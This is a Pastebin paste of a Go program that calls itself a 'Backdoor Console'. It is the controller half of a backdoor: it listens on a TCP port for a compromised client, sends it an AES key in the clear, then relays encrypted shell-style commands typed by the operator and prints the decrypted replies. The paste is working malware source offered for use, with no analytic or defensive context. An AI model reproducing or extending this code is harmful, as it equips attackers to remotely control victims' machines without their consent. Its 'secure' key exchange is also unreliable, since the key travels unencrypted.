FlyFar

main.go

Jul 17th, 2023
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 2.40 KB | Cybersecurity | 0 0
  1. // Backdoor Console project main.go
  2. package main
  3.  
  4. import (
  5.     "bufio"
  6.     "crypto/aes"
  7.     "crypto/cipher"
  8.     "crypto/rand"
  9.     "encoding/base64"
  10.     "flag"
  11.     "fmt"
  12.     "io"
  13.     "net"
  14.     "os"
  15.     "strconv"
  16. )
  17.  
  18. var EncKey string = ""
  19.  
  20. func main() {
  21.     port := flag.Int("listen", 8181, "Port you want to listen on.")
  22.     flag.Parse()
  23.     fmt.Println("Backdoor Console")
  24.     ln, _ := net.Listen("tcp", ":"+strconv.Itoa(*port))
  25.     fmt.Println("Listening on port: " + strconv.Itoa(*port))
  26.     conn, _ := ln.Accept()
  27.     fmt.Println("Connected to", conn.LocalAddr().String())
  28.     fmt.Println("Generating encryption key...")
  29.     key, _ := generateRandomString(23)
  30.     EncKey = key
  31.     fmt.Println("Exchanging encryption key...")
  32.     conn.Write([]byte("KEY:" + EncKey + "KEY:\n"))
  33.     fmt.Println("Connection Secure.")
  34.     fmt.Println("")
  35.     for {
  36.         fmt.Print("Command-> ")
  37.         scan := bufio.NewScanner(os.Stdin)
  38.         scan.Scan()
  39.         conn.Write([]byte(encrypt([]byte(EncKey), scan.Text()) + "\n"))
  40.         fmt.Println("")
  41.         message, _ := bufio.NewReader(conn).ReadString('\n')
  42.         if len(message) >= 1 {
  43.             fmt.Println(decrypt([]byte(EncKey), string(message)))
  44.         } else {
  45.             fmt.Println("Connection to client lost.")
  46.             os.Exit(0)
  47.         }
  48.     }
  49. }
  50.  
  51. func generateRandomBytes(n int) ([]byte, error) {
  52.     b := make([]byte, n)
  53.     _, err := rand.Read(b)
  54.     if err != nil {
  55.         return nil, err
  56.     }
  57.     return b, nil
  58. }
  59.  
  60. func generateRandomString(s int) (string, error) {
  61.     b, err := generateRandomBytes(s)
  62.     return base64.URLEncoding.EncodeToString(b), err
  63. }
  64.  
  65. func encrypt(key []byte, text string) string {
  66.     plaintext := []byte(text)
  67.     block, err := aes.NewCipher(key)
  68.     if err != nil {
  69.         panic(err)
  70.     }
  71.     ciphertext := make([]byte, aes.BlockSize+len(plaintext))
  72.     iv := ciphertext[:aes.BlockSize]
  73.     if _, err := io.ReadFull(rand.Reader, iv); err != nil {
  74.         panic(err)
  75.     }
  76.     stream := cipher.NewCFBEncrypter(block, iv)
  77.     stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)
  78.     return base64.URLEncoding.EncodeToString(ciphertext)
  79. }
  80.  
  81. func decrypt(key []byte, cryptoText string) string {
  82.     ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)
  83.     block, err := aes.NewCipher(key)
  84.     if err != nil {
  85.         panic(err)
  86.     }
  87.     if len(ciphertext) < aes.BlockSize {
  88.         panic("Ciphertext too short")
  89.     }
  90.     iv := ciphertext[:aes.BlockSize]
  91.     ciphertext = ciphertext[aes.BlockSize:]
  92.     stream := cipher.NewCFBDecrypter(block, iv)
  93.     stream.XORKeyStream(ciphertext, ciphertext)
  94.     return fmt.Sprintf("%s", ciphertext)
  95. }
Add Comment
Please, Sign In to add comment